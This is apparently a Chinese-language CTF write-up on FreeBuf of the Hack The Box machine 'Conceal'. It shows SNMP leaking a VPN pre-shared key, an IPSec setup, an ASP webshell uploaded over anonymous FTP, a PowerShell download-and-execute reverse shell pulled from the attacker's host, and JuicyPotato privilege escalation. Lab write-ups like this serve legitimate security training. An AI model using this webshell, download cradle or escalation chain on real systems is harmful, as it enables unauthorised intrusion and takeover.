freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Meachines] [Hard] Conceal SNMP配置不当PSK泄露+IPSec-IKE+IPSec-VPN+ftp匿名访问-Webshe...
2024-08-30 10:28:49

信息收集

IP AddressOpening Ports
10.10.10.116UDP:161,500

$ sudo nmap -sU -sC --top-ports 20 10.10.10.116

PORT      STATE         SERVICE  
53/udp    open|filtered domain       
67/udp    open|filtered dhcps           
68/udp    open|filtered dhcpc                                                                                                                 
69/udp    open|filtered tftp     
123/udp   open|filtered ntp          
135/udp   open|filtered msrpc                 
137/udp   open|filtered netbios-ns                             
138/udp   open|filtered netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   open          snmp                     
| snmp-interfaces:                                             
|   Software Loopback Interface 1\x00
|     IP address: 127.0.0.1  Netmask: 255.0.0.0
|     Type: softwareLoopback  Speed: 1 Gbps
|     Traffic stats: 0.00 Kb sent, 0.00 Kb received
|   Intel(R) 82574L Gigabit Network Connection\x00
|     IP address: 10.10.10.116  Netmask: 255.255.255.0
|     MAC address: 00:50:56:b2:68:88 (VMware)
|     Type: ethernetCsmacd  Speed: 1 Gbps
|     Traffic stats: 1.69 Mb sent, 2.53 Mb received
|   Intel(R) 82574L Gigabit Network Connection-WFP Native MAC Layer LightWeight Filter-0000\x00
|     MAC address: 00:50:56:b2:68:88 (VMware)
|     Type: ethernetCsmacd  Speed: 1 Gbps
|     Traffic stats: 1.69 Mb sent, 2.54 Mb received
|   Intel(R) 82574L Gigabit Network Connection-QoS Packet Scheduler-0000\x00
|     MAC address: 00:50:56:b2:68:88 (VMware)
|     Type: ethernetCsmacd  Speed: 1 Gbps
|     Traffic stats: 1.69 Mb sent, 2.54 Mb received
|   Intel(R) 82574L Gigabit Network Connection-WFP 802.3 MAC Layer LightWeight Filter-0000\x00
|     MAC address: 00:50:56:b2:68:88 (VMware)
|     Type: ethernetCsmacd  Speed: 1 Gbps
|_    Traffic stats: 1.69 Mb sent, 2.54 Mb received
| snmp-netstat:
|   TCP  0.0.0.0:21           0.0.0.0:0
|   TCP  0.0.0.0:80           0.0.0.0:0
|   TCP  0.0.0.0:135          0.0.0.0:0
|   TCP  0.0.0.0:445          0.0.0.0:0
|   TCP  0.0.0.0:49664        0.0.0.0:0
|   TCP  0.0.0.0:49665        0.0.0.0:0
|   TCP  0.0.0.0:49666        0.0.0.0:0
|   TCP  0.0.0.0:49667        0.0.0.0:0
|   TCP  0.0.0.0:49668        0.0.0.0:0
|   TCP  0.0.0.0:49669        0.0.0.0:0
|   TCP  0.0.0.0:49670        0.0.0.0:0
|   TCP  10.10.10.116:139     0.0.0.0:0
|   TCP  10.10.10.116:49676   10.10.14.15:443
|   TCP  10.10.10.116:49682   10.10.14.15:443
|   UDP  0.0.0.0:123          *:*
|   UDP  0.0.0.0:161          *:*
|   UDP  0.0.0.0:500          *:*
|   UDP  0.0.0.0:4500         *:*
|   UDP  0.0.0.0:5050         *:*
|   UDP  0.0.0.0:5353         *:*
|   UDP  0.0.0.0:5355         *:*
|   UDP  0.0.0.0:51681        *:*
|   UDP  0.0.0.0:54275        *:*
|   UDP  0.0.0.0:59047        *:*
|   UDP  0.0.0.0:65166        *:*
|   UDP  10.10.10.116:137     *:*
|   UDP  10.10.10.116:138     *:*
|   UDP  10.10.10.116:1900    *:*
|   UDP  10.10.10.116:54399   *:*
|   UDP  127.0.0.1:1900       *:*
|_  UDP  127.0.0.1:54400      *:*
| snmp-processes:               
|   1:                                           
|     Name: System Idle Process                                
|   4:
|     Name: System  
...[snip]...
162/udp   open|filtered snmptrap
445/udp   open|filtered microsoft-ds
500/udp   open          isakmp
| ike-version: 
|   vendor_id: Microsoft Windows 8
|   attributes: 
|     MS NT5 ISAKMPOAKLEY
|     RFC 3947 NAT-T
|     draft-ietf-ipsec-nat-t-ike-02\n
|     IKE FRAGMENTATION
|     MS-Negotiation Discovery Capable
|_    IKE CGA version 1
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown

SNMP配置不当PSK泄露(161) && IPSec-IKE(500)

SNMP(Simple Network Management Protocol,简单网络管理协议)是一种用于管理和监控网络设备(如路由器、交换机、服务器、打印机等)的协议。它主要用于收集设备的状态信息、性能数据和统计信息,以及远程配置和控制设备。

$ snmpwalk -v 2c -c public 10.10.10.116

image.png

STRING: "IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43"

image-1.png

Dudecake1!

IKE(Internet Key Exchange,互联网密钥交换)是一种用于在IPSec(Internet Protocol Security,互联网协议安全)中建立安全连接的协议。IKE的主要功能是自动协商、生成和管理用于保护网络通信的加密密钥。它是IPSec协议套件的一个关键组件,专门负责密钥交换和安全关联(SA)的建立。

$ ike-scan -M 10.10.10.116

image-2.png

ike-scan输出的信息中,我们可以提取出几个对攻击者有用的关键信息。这些信息有助于进一步的攻击,例如暴力破解、身份验证绕过或利用已知漏洞。以下是关键细节:

  1. Main Mode Handshake Returned:

    • 表示目标主机在响应 IKE(Internet Key Exchange)请求,且支持主模式(Main Mode)握手。这意味着目标设备正在运行 IPSec VPN 服务,并且可以与攻击者的设备进行通信。

  2. 加密和认证算法:

    • SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration(4)=0x00007080):

      • Enc=3DES: 目标使用 3DES(Triple DES)加密算法。

      • Hash=SHA1: 使用 SHA-1 哈希算法。

      • Group=2:modp1024: 使用 MODP 1024-bit Diffie-Hellman 组(Group 2),这是一个较弱的密钥交换参数。

      • Auth=PSK: 认证方式为预共享密钥(PSK,Pre-Shared Key)。

    • 这些信息表明了目标使用的加密和哈希算法,以及身份验证方式。攻击者可以使用这些信息来选择合适的攻击方法,例如,使用暴力破解来猜测预共享密钥(PSK)。

  3. VID(Vendor ID)字段:

    • VID=1e2b516905991c7d7c96fcbfb517e46100000009 (Windows-8):

      • 表明目标操作系统是 Windows 8。这有助于攻击者针对特定的操作系统漏洞进行攻击。

    • VID=4a131c81070358455c5728f20e95452f (RFC 3947 NAT-T):

      • 表明目标支持 NAT-T(NAT Traversal),这是在 NAT 环境中使用 IPSec 的常见扩展。

    • VID=90cb80913ebb696e086381b5ec427b1f (draft-ietf-ipsec-nat-t-ike-02):

      • 显示目标支持 IKE NAT-T 的草案版本。进一步确认了 NAT 穿越功能的支持。

    • VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation):

      • 表明目标支持 IKE Fragmentation,这可以帮助防止一些基于碎片的攻击。

    • VID=fb1de3cdf341b7ea16b7e5be0855f120 (MS-Negotiation Discovery Capable):

      • 表明目标支持 Microsoft 的协商发现(Negotiate Discovery)。

    • VID=e3a5966a76379fe707228231e5ce8652 (IKE CGA version 1):

      • 表示目标支持 IKE CGA (Cryptographically Generated Address),用于增强地址的安全性。

  4. 目标的协商能力和功能:

    • 这些 VID 提供的信息揭示了目标的 IKE 和 IPSec 实现的具体功能和特性,例如支持 NAT-T 和 IKE Fragmentation。这些信息可以帮助攻击者选择适当的攻击工具和方法,特别是如果攻击者希望利用某些特定的 IKE 功能漏洞。

  • 暴力破解 PSK(预共享密钥): 既然目标使用 PSK 认证,攻击者可以使用工具(如ike-scan的暴力破解模式或hashcat等工具)来尝试暴力破解 PSK。

  • 利用已知的弱加密算法或参数: 使用 3DES 和 SHA-1 作为加密和哈希算法,以及 Group 2:modp1024 作为 Diffie-Hellman 组,这些都是较弱的安全配置,可能容易受到攻击者的破解或中间人攻击(MITM)。

  • 特定操作系统的攻击: 识别出目标操作系统是 Windows 8,攻击者可以针对该操作系统的已知漏洞进行攻击。

IPSec-VPN

Internet Protocol Security (IPSec)是一组协议套件,用于在 IP 层保护网络流量,确保数据的机密性、完整性和身份验证。它广泛应用于虚拟专用网络(VPN)和其他需要安全通信的网络环境。IPSec 通过两个主要协议提供不同的安全保证:

  1. Authentication Header (AH) - 认证头:

    • 数据完整性: AH 通过校验和(如 HMAC)提供数据完整性保护,确保数据在传输过程中没有被篡改。

    • 数据源认证: AH 验证数据包的来源,确保数据确实来自预期的发送方。

    • 防重放攻击: AH 包含序列号字段,可以防止重放攻击(replay attack),攻击者无法重放已被发送的数据包。

    • AH 不提供数据的加密,因此数据的内容仍然可以被第三方查看。

  2. Encapsulating Security Payload (ESP) - 封装安全载荷:

    • 数据完整性: 与 AH 类似,ESP 也提供数据完整性检查,确保数据没有被篡改。

    • 数据源认证: ESP 也验证数据包的来源。

    • 机密性: ESP 提供数据加密,保护数据内容的机密性,防止未经授权的人员查看数据内容。

    • 防重放攻击: ESP 也具有防止重放攻击的机制。

  3. Security Associations (SA) - 安全关联:

    • SA 是 IPSec 操作的核心组件,用于定义数据包如何在安全的基础上被传输。每个 SA 定义了一个加密和认证的协议、加密算法、密钥和其他参数。

    • SA 可以单独为 AH 和 ESP 定义,也可以为它们的组合定义。

    • 每个 SA 都有一个唯一的标识符,称为安全参数索引(SPI),它用于在通信双方之间识别不同的 SA。

  4. Internet Key Exchange (IKE) - 互联网密钥交换协议:

    • IKE 是 IPSec 的关键管理协议,用于动态协商和建立 SA。IKE 通过交换加密密钥和其他安全参数来建立安全的通信通道。

    • IKE 提供两种主要模式:主模式(Main Mode)和快速模式(Aggressive Mode)。主模式提供更强的安全性,而快速模式更快,但安全性相对较低。

    • IKE 有两个版本:IKEv1 和 IKEv2。IKEv2 提供了更好的性能和安全性特性,是目前更为常用的版本。

  5. IPSec 工作模式:

    • 传输模式(Transport Mode): 仅对 IP 数据包的有效负载部分进行加密或认证,保留原始 IP 头。常用于主机到主机(end-to-end)的通信。

    • 隧道模式(Tunnel Mode): 对整个 IP 数据包进行加密或认证,并封装在一个新的 IP 数据包中。通常用于网关到网关(gateway-to-gateway)或网关到主机(gateway-to-host)的通信,例如在 VPN 中。

  6. IPSec 应用场景:

    • VPN(虚拟专用网络): IPSec 常用于构建安全的 VPN 连接,保护远程办公或分支机构之间的通信。

    • 远程访问: 提供安全的远程访问,保护数据免受窃听和篡改。

    • 数据中心互连: 在数据中心之间建立安全的通信通道,保护敏感数据传输。

  7. IPSec 与其他协议的集成:

    • IPSec 通常与其他网络协议(如 GRE、L2TP)结合使用,以增强 VPN 和其他应用场景的安全性。

    • IPSec 还可以与身份验证协议(如 RADIUS、TACACS+)结合使用,以确保用户身份验证的安全性。

image-3.png

当前环境需要为靶机设置传输模式

$ apt install strongswan

添加预共享密钥

# echo '10.10.10.116 : PSK "Dudecake1!"' >> /etc/ipsec.secrets

编辑配置文件

# vim /etc/ipsec.conf

conn Conceal 
    type=transport 
    keyexchange=ikev1 
    right=10.10.10.116 
    authby=psk 
    rightprotoport=tcp 
    leftprotoport=tcp 
    esp=3des-sha1 
    ike=3des-sha1-modp1024 
    auto=start 

我们创建了一个名为 Conceal 的连接。连接类型设置为 transport,因为我们仅对流量进行加密,而不是建立隧道。keyexchange参数用于指定使用的协议版本,这里选择的是 v1。right参数指定目标主机。authby参数的值将通过ikescan获得。假设协议是 TCP,如果出现问题,可以改为 UDP,通过protoport参数进行配置。esp参数定义了加密套件,格式为encryption-hashingike参数也类似,但还需要指定组,这里使用的是modp1024

我们停止 IPsec 服务以终止所有相关进程,并以 nofork 模式启动它,以便进行调试。

$ sudo ipsec stop
$ sudo ipsec start --nofork

image-4.png

nmap

$ nmap -p- 10.10.10.116 --min-rate 1000 -sC -sV -Pn

IP AddressOpening Ports
10.10.10.116TCP:21/tcp, ftp, 80/tcp, http, 135/tcp, msrpc, 139/tcp, netbios-ssn, 445/tcp, microsoft-ds, 49664/tcp, unknown, 49665/tcp, unknown, 49666/tcp, unknown, 49667/tcp, unknown, 49668/tcp, unknown, 49669/tcp, unknown, 49670/tcp, unknown

$ sudo nmap -sU -sC --top-ports 20 10.10.10.116

PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

ftp匿名访问 && http

image-5.png

$ feroxbuster --url http://10.10.10.116/

image-6.png

image-7.png

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

$ ftp 10.10.10.116

ftp> put /tmp/cmd.asp cmd.asp

$ curl 'http://10.10.10.116/upload/cmd.asp?cmd=whoami'

image-8.png

$ curl 'http://10.10.10.116/upload/cmd.asp?cmd=powershell%20iex(New-Object%20Net.Webclient).downloadstring(%27http://10.10.16.24/Invoke-PowerShellTcp.ps1%27)'

image-9.png

User.txt

40f01e72608dd988c673747d37709f84

权限提升

JuicyPotato && CLSID

PS C:\Users\Destitute\Desktop> whoami /priv

image-10.png

  1. SeImpersonatePrivilege (Impersonate a client after authentication):

    • 状态: Enabled

    • 解释: JuicyPotato 需要SeImpersonatePrivilege权限来模拟经过身份验证的客户端。这项权限允许当前进程以目标用户的身份执行操作,是 JuicyPotato 成功利用的关键权限之一。

  2. SeChangeNotifyPrivilege (Bypass traverse checking):

    • 状态: Enabled

    • 解释: 这项权限允许绕过文件系统的遍历检查。虽然它在 JuicyPotato 的利用中不是主要的要求,但它对其他操作的执行有帮助。

满足的条件

  • SeImpersonatePrivilege是 JuicyPotato 利用的核心条件,因为 JuicyPotato 需要能够模拟用户以提升权限。

  • SeChangeNotifyPrivilege虽然不是必需的,但它的启用表明系统具有一些高级的权限设置。

https://github.com/ohpe/juicy-potato/releases

$ wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

PS C:\users\Destitute\appdata\local\Temp> invoke-webrequest -uri http://10.10.16.24/JuicyPotato.exe -outfile JuicyPotato.exe

PS C:\users\Destitute\appdata\local\Temp> systeminfo

image-11.png

寻找windows10的CLSID

https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Enterprise

概念

JuicyPotato 利用CLSID(Class Identifier)来实现权限提升。这个利用方式主要依赖于 COM(Component Object Model)和 DCOM(Distributed COM)中的特性。以下是为何 JuicyPotato.exe 需要CLSID的原因及其工作原理:

为什么需要 CLSID

  1. COM 对象注册

    • COM 和 DCOM 使用CLSID来唯一标识不同的组件或对象。在 Windows 系统中,CLSID在注册表中定义了 COM 对象的配置和实现。

    • JuicyPotato 利用特定的 COM 对象(由其CLSID标识)来触发权限提升。

  2. 利用 DCOM 权限提升

    • JuicyPotato 通过利用 MS DTC(Microsoft Distributed Transaction Coordinator)服务来提升权限。MS DTC 是一个 COM 组件,它处理分布式事务。

    • 利用特定的 COM 对象和它们的CLSID,JuicyPotato 能够操控 DCOM 服务并进行权限提升操作。

  3. 特权操作

    • JuicyPotato 利用具有高权限的 COM 对象,通过 DCOM 服务来执行特权操作,比如将当前进程的权限提升到NT AUTHORITY\SYSTEM

    • CLSID用于定位和利用这些高权限 COM 对象。

JuicyPotato 的工作原理

  1. 定位 CLSID

    • JuicyPotato 选择一个具有足够权限的 COM 对象。每个 COM 对象都有一个唯一的CLSID

    • 通过CLSID,JuicyPotato 找到这些对象并利用它们的特权来执行恶意操作。

  2. 触发权限提升

    • JuicyPotato 利用 COM 对象的特权,通常通过触发一个MSDTC服务的漏洞,来获得SYSTEM权限。

    • CLSID指定了要利用的具体 COM 对象,使得攻击能够利用该对象的高权限特性来提升当前进程的权限。

示例

在 JuicyPotato 的攻击过程中,可能使用的CLSID之一是 MS DTC 的特定 CLSID。例如:

{A2E8D748-2F37-4D55-8F93-79DDC5E6B36F}

通过这个CLSID,JuicyPotato 可以触发 DCOM 服务执行特权操作,从而实现权限提升。

$ echo "powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.16.24/Invoke-PowerShellTcp.ps1')">reverse.bat

image-12.png

image-13.png

upload目录会定时清理所以转移到其他目录

PS C:\users\Destitute\appdata\local\Temp> invoke-webrequest -uri http://10.10.16.24/JuicyPotato.exe -outfile reverse.bat

PS C:\users\Destitute\appdata\local\Temp> .\JuicyPotato.exe -t * -p "C:\users\Destitute\appdata\local\Temp\reverse.bat" -l 9001 -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}"

image-14.png

Root.txt

c07091f9c5a235ac0f778f9c466ab9ee

# web安全 # CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录